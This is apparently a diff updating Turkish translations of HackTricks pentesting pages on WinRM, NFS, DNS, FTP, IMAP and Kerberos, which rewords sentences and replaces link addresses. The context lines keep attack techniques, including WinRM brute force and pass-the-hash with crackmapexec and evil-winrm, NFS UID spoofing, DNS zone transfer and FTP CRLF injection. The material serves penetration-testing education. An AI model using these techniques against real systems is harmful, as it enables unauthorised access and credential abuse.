`enter-pssession : Uzak sunucu 10.10.10.175'e bağlanma başarısız oldu. Hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
|
||||
`enter-pssession : Uzak sunucu 10.10.10.175 ile bağlantı kurma başarısız oldu. Hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
|
||||
|
||||
İstemcide deneme (bilgi için [buraya](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
İstemcide deneme (bilgi için [buradan](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
## WinRM bağlantısı linux'ta
|
||||
|
||||
### Kaba Güç
|
||||
### Kaba Kuvvet
|
||||
|
||||
Dikkatli olun, winrm'yi kaba güçle kırmak kullanıcıları engelleyebilir.
|
||||
Dikkatli olun, winrm'yi kaba kuvvetle denemek kullanıcıları engelleyebilir.
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
@ -142,13 +142,13 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
**belgeleri** github'dan okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
**belgeler** için github'da okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Evil-winrm kullanarak bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın.
|
||||
Evil-winrm'i bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın.
|
||||
|
||||
### Hash'i evil-winrm ile geçirme
|
||||
### Hash'i evil-winrm ile geçin
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
@ -220,7 +220,7 @@ end
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
|
||||
print(s.run_cmd('ipconfig'))
|
||||
print(s.run_ps('ipconfig'))
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-winrm
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
|
||||
|
||||
Entry_2:
|
||||
Name: Hydra Brute Force
|
||||
|
@ -8,9 +8,9 @@
|
||||
|
||||
Bu protokolün dikkat çekici bir yönü, yerleşik **kimlik doğrulama** veya **yetkilendirme mekanizmalarının** olmamasıdır. Bunun yerine, yetkilendirme **dosya sistemi bilgilerine** dayanır ve sunucu, **istemci tarafından sağlanan kullanıcı bilgilerini** dosya sisteminin gerektirdiği **yetkilendirme formatına** doğru bir şekilde çevirmekle görevlidir; bu genellikle **UNIX sözdizimini** takip eder.
|
||||
|
||||
Kimlik doğrulama genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üyeliklerine** dayanır. Ancak, istemciler ve sunucular arasındaki **`UID`/`GID` eşleştirmelerindeki** olası uyumsuzluk nedeniyle bir zorluk ortaya çıkar; bu durum sunucu tarafından ek bir doğrulama yapılmasına olanak tanımaz. Sonuç olarak, bu protokol, bu kimlik doğrulama yöntemine dayanması nedeniyle en iyi şekilde **güvenilir ağlar** içinde kullanılmak için uygundur.
|
||||
Kimlik doğrulama genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üyeliklerine** dayanır. Ancak, istemciler ve sunucular arasındaki **`UID`/`GID` eşleştirmelerindeki** olası uyumsuzluk nedeniyle bir zorluk ortaya çıkar; bu durum sunucunun ek bir doğrulama yapmasına olanak tanımaz. Sonuç olarak, bu protokol, bu kimlik doğrulama yöntemine dayanması nedeniyle en iyi şekilde **güvenilir ağlar** içinde kullanılmak için uygundur.
|
||||
|
||||
**Varsayılan port**: 2049/TCP/UDP (sadece versiyon 4 için, yalnızca TCP veya UDP gereklidir).
|
||||
**Varsayılan port**: 2049/TCP/UDP (sadece versiyon 4 için, TCP veya UDP yeterlidir).
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
@ -20,9 +20,9 @@ Kimlik doğrulama genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üye
|
||||
|
||||
- **NFSv3**: Bir dizi iyileştirme ile tanıtılan NFSv3, değişken dosya boyutlarını destekleyerek ve geliştirilmiş hata raporlama mekanizmaları sunarak selefinin üzerine çıkmıştır. Gelişmelerine rağmen, NFSv2 istemcileri ile tam geriye dönük uyumlulukta sınırlamalarla karşılaşmıştır.
|
||||
|
||||
- **NFSv4**: NFS serisinde bir dönüm noktası olan NFSv4, ağlar üzerinden dosya paylaşımını modernize etmek için tasarlanmış bir dizi özellik sunmuştur. Dikkate değer iyileştirmeler arasında **yüksek güvenlik** için Kerberos entegrasyonu, güvenlik duvarlarını aşabilme ve portmapper'lara ihtiyaç duymadan İnternet üzerinden çalışabilme yeteneği, Erişim Kontrol Listeleri (ACL'ler) desteği ve durum tabanlı işlemlerin tanıtımı bulunmaktadır. Performans iyileştirmeleri ve durumlu bir protokolün benimsenmesi, NFSv4'ü ağ dosya paylaşım teknolojilerinde önemli bir ilerleme olarak ayırt etmektedir.
|
||||
- **NFSv4**: NFS serisinde bir dönüm noktası olan NFSv4, ağlar üzerinden dosya paylaşımını modernize etmek için tasarlanmış bir dizi özellik sunmuştur. Dikkate değer iyileştirmeler arasında **yüksek güvenlik** için Kerberos entegrasyonu, güvenlik duvarlarını aşabilme yeteneği ve port haritalayıcılarına ihtiyaç duymadan İnternet üzerinden çalışabilme, Erişim Kontrol Listeleri (ACL'ler) desteği ve durum tabanlı işlemlerin tanıtımı bulunmaktadır. Performans iyileştirmeleri ve durum bilgisi olan bir protokolün benimsenmesi, NFSv4'ü ağ dosya paylaşım teknolojilerinde önemli bir ilerleme olarak ayırmaktadır.
|
||||
|
||||
NFS'nin her versiyonu, ağ ortamlarının gelişen ihtiyaçlarını karşılamak amacıyla geliştirilmiş, güvenlik, uyumluluk ve performansı kademeli olarak artırmıştır.
|
||||
Her NFS versiyonu, ağ ortamlarının gelişen ihtiyaçlarını karşılamak amacıyla geliştirilmiş, güvenlik, uyumluluk ve performansı kademeli olarak artırmıştır.
|
||||
|
||||
## Sayım
|
||||
|
||||
@ -53,11 +53,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## İzinler
|
||||
|
||||
Eğer sadece bazı kullanıcılar tarafından erişilebilen **dosyalar veya klasörler** içeren bir klasörü bağlarsanız (**UID** ile). O **UID** ile **yerel** olarak bir kullanıcı oluşturabilir ve o **kullanıcı** ile dosya/klasöre **erişebilirsiniz**.
|
||||
Eğer sadece bazı kullanıcılar tarafından erişilebilen **dosyalar veya klasörler** içeren bir klasörü bağlarsanız (**UID** ile). O **UID** ile **yerel** olarak bir kullanıcı **oluşturabilir** ve o **kullanıcı** ile dosya/klasöre **erişebilirsiniz**.
|
||||
|
||||
## NSFShell
|
||||
|
||||
Dosyaları listelemek, bağlamak ve UID ile GID'yi değiştirmek için [nfsshell](https://github.com/NetDirect/nfsshell) kullanabilirsiniz.
|
||||
Dosyaları erişmek için UID ve GID'yi kolayca listelemek, bağlamak ve değiştirmek için [nfsshell](https://github.com/NetDirect/nfsshell) kullanabilirsiniz.
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
@ -74,7 +74,7 @@ Dosyaları listelemek, bağlamak ve UID ile GID'yi değiştirmek için [nfsshell
|
||||
|
||||
- **İç İçe Dosya Sistemlerinin Görünürlüğü (`nohide`):** Bu yapılandırma, başka bir dosya sistemi bir dışa aktarılmış dizinin altında monte edilse bile dizinlerin görünür olmasını sağlar. Her dizin, uygun yönetim için kendi dışa aktarma girişine ihtiyaç duyar.
|
||||
|
||||
- **Kök Dosyalarının Sahipliği (`no_root_squash`):** Bu ayar ile, kök kullanıcı tarafından oluşturulan dosyalar, 0 olan orijinal UID/GID'lerini korur, bu da en az ayrıcalık ilkesini göz ardı eder ve potansiyel olarak aşırı izinler verebilir.
|
||||
- **Kök Dosyalarının Sahipliği (`no_root_squash`):** Bu ayar ile, kök kullanıcı tarafından oluşturulan dosyalar, en az ayrıcalık ilkesini göz ardı ederek, 0 olan orijinal UID/GID'sini korur ve potansiyel olarak aşırı izinler verebilir.
|
||||
|
||||
- **Tüm Kullanıcıların Squash Edilmemesi (`no_all_squash`):** Bu seçenek, kullanıcı kimliklerinin sistem genelinde korunmasını sağlar; bu da doğru bir şekilde ele alınmadığında izin ve erişim kontrol sorunlarına yol açabilir.
|
||||
|
||||
@ -102,7 +102,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
|
||||
cd /mnt
|
||||
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
**Alan Adı Sistemi (DNS)**, kullanıcıların google.com veya facebook.com gibi **hatırlaması kolay alan adları** aracılığıyla web sitelerine erişmesini sağlayarak internetin dizini olarak hizmet eder. Alan adlarını IP adreslerine çevirerek, DNS web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar ve çevrimiçi dünyada gezinmeyi basitleştirir.
|
||||
**Alan Adı Sistemi (DNS)**, kullanıcıların google.com veya facebook.com gibi **hatırlaması kolay alan adları** aracılığıyla web sitelerine erişmesini sağlayarak internetin dizini olarak hizmet eder; bu, sayısal İnternet Protokolü (IP) adresleri yerine geçer. Alan adlarını IP adreslerine çevirerek, DNS web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar ve çevrimiçi dünyada gezinmeyi basitleştirir.
|
||||
|
||||
**Varsayılan port:** 53
|
||||
```
|
||||
@ -19,9 +19,9 @@ PORT STATE SERVICE REASON
|
||||
- **DNS Kök Sunucuları**: Bunlar DNS hiyerarşisinin en üstünde yer alır, üst düzey alan adlarını yönetir ve yalnızca alt düzey sunucular yanıt vermezse devreye girer. Atanan İsimler ve Numaralar için İnternet Kurumu (**ICANN**) onların işletimini denetler ve dünya genelinde 13 adet bulunmaktadır.
|
||||
- **Yetkili İsim Sunucuları**: Bu sunucular, belirlenen bölgelerdeki sorgular için nihai karara sahiptir ve kesin yanıtlar sunar. Eğer yanıt veremezlerse, sorgu kök sunuculara yükseltilir.
|
||||
- **Yetkisiz İsim Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmayan bu sunucular, diğer sunuculara sorgular aracılığıyla alan bilgilerini toplar.
|
||||
- **Önbellekli DNS Sunucusu**: Bu tür sunucular, gelecekteki talepler için yanıt sürelerini hızlandırmak amacıyla önceki sorgu yanıtlarını belirli bir süre boyunca hafızasında tutar; önbellek süresi yetkili sunucu tarafından belirlenir.
|
||||
- **Önbellekli DNS Sunucusu**: Bu tür sunucular, önceki sorgu yanıtlarını belirli bir süre boyunca hatırlar ve gelecekteki talepler için yanıt sürelerini hızlandırır; önbellek süresi yetkili sunucu tarafından belirlenir.
|
||||
- **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları başka bir sunucuya iletir.
|
||||
- **Çözücü**: Bilgisayarlar veya yönlendiriciler içinde entegre olan çözücüler, ad çözümlemesini yerel olarak gerçekleştirir ve yetkili olarak kabul edilmezler.
|
||||
- **Çözücü**: Bilgisayarlar veya yönlendiriciler içinde entegre olan çözücüler, ad çözümlemesini yerel olarak gerçekleştirir ve yetkili olarak kabul edilmez.
|
||||
|
||||
## Sayım
|
||||
|
||||
@ -40,13 +40,13 @@ Ayrıca, bir **nmap** betiği ile de banner'ı almak mümkündür:
|
||||
```
|
||||
### **Her kayıt**
|
||||
|
||||
Kayıt **ANY**, DNS sunucusundan **açıkça belirtmeye istekli olduğu** tüm mevcut **girişleri** **dönmesini** isteyecektir.
|
||||
Kayıt **ANY**, DNS sunucusundan **açıklamaya istekli olduğu** tüm mevcut **girişleri** **dönmesini** isteyecektir.
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
### **Zone Transfer**
|
||||
|
||||
Bu işlem `Asynchronous Full Transfer Zone` (`AXFR`) olarak kısaltılır.
|
||||
Bu prosedür `Asynchronous Full Transfer Zone` (`AXFR`) olarak kısaltılır.
|
||||
```bash
|
||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
@ -82,7 +82,7 @@ nslookup
|
||||
```bash
|
||||
auxiliary/gather/enum_dns #Perform enumeration actions
|
||||
```
|
||||
### Yararlı nmap betikleri
|
||||
### Kullanışlı nmap betikleri
|
||||
```bash
|
||||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
@ -126,7 +126,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
||||
```
|
||||
### IPv6
|
||||
|
||||
"AAAA" istekleri kullanarak alt alan adlarının IPv6'sını toplamak için brute force.
|
||||
Alt alanların IPv6'larını toplamak için "AAAA" istekleri kullanarak brute force.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
@ -150,13 +150,13 @@ dig google.com A @<IP>
|
||||
.png>)
|
||||
|
||||
|
||||
### Var Olmayan Hesaba Mail
|
||||
### Var Olmayan Hesaba Mail Gönderme
|
||||
|
||||
**Kurbanın alan adını kullanarak var olmayan bir adrese e-posta göndermek**, kurbanın ilginç bilgiler içerebilecek **başlıklar** içeren bir teslim edilmeme bildirimi (NDN) mesajı göndermesine neden olabilir; bu bilgiler arasında **iç sunucuların isimleri ve IP adresleri** bulunabilir.
|
||||
**Kurbanın alan adını kullanarak var olmayan bir adrese e-posta göndermek**, kurbanın ilginç bilgiler içerebilecek **başlıklar** içeren bir teslim edilmeme bildirim (NDN) mesajı göndermesine neden olabilir; bu bilgiler arasında **iç sunucuların isimleri ve IP adresleri** yer alabilir.
|
||||
|
||||
## Post-Exploitation
|
||||
## Sonrası-İstismar
|
||||
|
||||
- Bir Bind sunucusunun yapılandırmasını kontrol ederken, **`allow-transfer`** parametresinin yapılandırmasını kontrol edin; bu, kimin alan transferleri gerçekleştirebileceğini gösterir. Ayrıca **`allow-recursion`** ve **`allow-query`** parametrelerini de kontrol edin; bu, kimin ona rekürsif istekler ve istekler gönderebileceğini gösterir.
|
||||
- Bir Bind sunucusunun yapılandırmasını kontrol ederken, **`allow-transfer`** parametresinin yapılandırmasını kontrol edin; bu, kimin alan transferi gerçekleştirebileceğini gösterir. Ayrıca **`allow-recursion`** ve **`allow-query`** parametrelerini de kontrol edin; bu, kimin ona rekürsif istekler ve istekler gönderebileceğini gösterir.
|
||||
- Aşağıdakiler, makinelerde aramak için ilginç olabilecek DNS ile ilgili dosyaların isimleridir:
|
||||
```
|
||||
host.conf
|
||||
@ -196,7 +196,7 @@ SERVER {IP}
|
||||
Domain_Name
|
||||
exit
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-dns
|
||||
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -12,13 +12,13 @@ Bu, **düz metin** protokolüdür ve **yeni satır karakteri `0x0d 0x0a`** kulla
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
```
|
||||
### Bağlantılar Aktif & Pasif
|
||||
### Aktif ve Pasif Bağlantılar
|
||||
|
||||
**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan FTP İstemcisinin N+1 portuna** **başlatır**.
|
||||
**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan** FTP İstemcisinin N+1 portuna **başlatır**.
|
||||
|
||||
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı varsa, o zaman aktif FTP bir sorun olabilir. Bunun için uygulanabilir bir çözüm Pasif FTP'dir.
|
||||
|
||||
**Pasif FTP**'de istemci kontrol bağlantısını kendi N portundan FTP Sunucusunun 21 portuna **başlatır**. Bunun ardından istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi port numarasını M gönderir. Ve **istemci** **veri bağlantısını** **P portundan FTP Sunucusunun M portuna** **başlatır**.
|
||||
**Pasif FTP**'de istemci kontrol bağlantısını kendi N portundan FTP Sunucusunun 21 portuna başlatır. Bunun ardından istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi port numarasını M gönderir. Ve **istemci** veri **bağlantısını** **P portundan** FTP Sunucusunun M portuna **başlatır**.
|
||||
|
||||
Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
@ -101,11 +101,11 @@ ftp <IP>
|
||||
```
|
||||
### [Brute force](../../generic-hacking/brute-force.md#ftp)
|
||||
|
||||
Burada varsayılan ftp kimlik bilgileriyle ilgili güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
Burada varsayılan ftp kimlik bilgileriyle güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### Automated
|
||||
|
||||
Anon giriş ve bounce FTP kontrolleri, nmap ile varsayılan olarak **-sC** seçeneğiyle gerçekleştirilir veya:
|
||||
Anon giriş ve bounce FTP kontrolleri varsayılan olarak nmap ile **-sC** seçeneğiyle gerçekleştirilir:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -115,7 +115,7 @@ Bir FTP sunucusuna bir tarayıcı (Firefox gibi) kullanarak şu şekilde bir URL
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderen bir **web uygulaması** varsa, çift URL kodlaması `%0d%0a` (çift URL kodlamada bu `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler** gerçekleştirmesini sağlayabilirsiniz. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle (örneğin http) iletişim kurmaya çalışmaktır.
|
||||
Not edin ki eğer bir **web uygulaması** kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodlaması `%0d%0a` (çift URL kodlamada bu `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler** gerçekleştirmesini sağlayabilirsiniz. Bu olası keyfi eylemlerden biri, bir kullanıcının kontrolündeki sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle (örneğin http) iletişim kurmaya çalışmaktır.
|
||||
|
||||
## FTP'den tüm dosyaları indirin
|
||||
```bash
|
||||
@ -175,7 +175,7 @@ Her halükarda, burada [farklı bir FTP sunucusundan bir dosya indirmek için bu
|
||||
|
||||
## Filezilla Sunucu Açığı
|
||||
|
||||
**FileZilla** genellikle **yerel** bir **Yönetim hizmeti** için **FileZilla-Server**'a (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabiliyorsanız, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı** oluşturabilirsiniz.
|
||||
**FileZilla** genellikle **yerel** bir **Yönetim hizmeti** için **FileZilla-Server**'a (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı** oluşturabilirsiniz.
|
||||
|
||||
## Konfigürasyon dosyaları
|
||||
```
|
||||
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
|
||||
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
|
||||
if PASV transfer is disabled
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-ftp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Internet Mesaj Erişim Protokolü
|
||||
|
||||
**Internet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **e-posta mesajlarına herhangi bir yerden erişimini sağlamak** amacıyla tasarlanmıştır, öncelikle bir Internet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireysel bir cihazda indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **birden fazla cihazdan** e-postaları kontrol etme kolaylığını sağlar ve kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmamasını garanti eder.
|
||||
**Internet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **e-posta mesajlarına herhangi bir yerden erişimini** sağlamak amacıyla tasarlanmıştır, öncelikle bir Internet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireysel bir cihazda indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **birden fazla cihazdan** e-postaları kontrol etme kolaylığını sağlar ve kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmamasını garanti eder.
|
||||
|
||||
Varsayılan olarak, IMAP protokolü iki portta çalışır:
|
||||
|
||||
@ -14,12 +14,12 @@ Varsayılan olarak, IMAP protokolü iki portta çalışır:
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
```
|
||||
## Banner alma
|
||||
## Banner grabbing
|
||||
```bash
|
||||
nc -nv <IP> 143
|
||||
openssl s_client -connect <IP>:993 -quiet
|
||||
```
|
||||
### NTLM Auth - Bilgi ifşası
|
||||
### NTLM Auth - Bilgi sızıntısı
|
||||
|
||||
Eğer sunucu NTLM kimlik doğrulamayı (Windows) destekliyorsa, hassas bilgilere (sürümler) ulaşabilirsiniz:
|
||||
```
|
||||
@ -30,11 +30,11 @@ root@kali: telnet example.com 143
|
||||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
Veya **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatikleştir**
|
||||
Or **otomatikleştir** bunu **nmap** eklentisi `imap-ntlm-info.nse` ile
|
||||
|
||||
### [IMAP Bruteforce](../generic-hacking/brute-force.md#imap)
|
||||
|
||||
## Söz Dizimi
|
||||
## Sözdizimi
|
||||
|
||||
IMAP Komutları örnekleri [buradan](https://donsutherland.org/crib/imap):
|
||||
```
|
||||
@ -91,7 +91,7 @@ apt install evolution
|
||||
|
||||
### CURL
|
||||
|
||||
Temel navigasyon [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) ile mümkündür, ancak belgeler detaylar açısından yetersizdir, bu nedenle kesin bilgiler için [kaynağı](https://github.com/curl/curl/blob/master/lib/imap.c) kontrol etmeniz önerilir.
|
||||
Temel gezinme [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) ile mümkündür, ancak belgeler ayrıntılar açısından zayıftır, bu nedenle kesin bilgiler için [kaynağı](https://github.com/curl/curl/blob/master/lib/imap.c) kontrol etmeniz önerilir.
|
||||
|
||||
1. Posta kutularını listeleme (imap komutu `LIST "" "*"`)
|
||||
```bash
|
||||
@ -113,14 +113,14 @@ Olası arama terimlerinin güzel bir özeti [burada](https://www.atmail.com/blog
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
Mail indeksi, arama işlemiyle dönen aynı indeksi olacaktır.
|
||||
Mail dizini, arama işlemiyle dönen aynı dizin olacaktır.
|
||||
|
||||
Ayrıca, mesajlara erişmek için `UID` (benzersiz kimlik) kullanmak da mümkündür, ancak arama komutunun manuel olarak formatlanması gerektiğinden daha az kullanışlıdır. Örneğin:
|
||||
Ayrıca, mesajlara erişmek için `UID` (benzersiz kimlik) kullanmak da mümkündür, ancak arama komutunun manuel olarak biçimlendirilmesi gerektiğinden daha az kullanışlıdır. Örneğin:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
Ayrıca, bir mesajın sadece kısımlarını indirmek mümkündür, örneğin ilk 5 mesajın konusu ve göndereni (konu ve göndereni görmek için `-v` gereklidir):
|
||||
Ayrıca, bir mesajın sadece belirli kısımlarını indirmek mümkündür, örneğin ilk 5 mesajın konu ve göndereni (konu ve göndereni görmek için `-v` gereklidir):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
@ -148,7 +148,7 @@ Description: Notes for WHOIS
|
||||
Note: |
|
||||
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-imap
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -46,7 +46,7 @@ Note: |
|
||||
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
|
||||
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Pre-Creds
|
||||
|
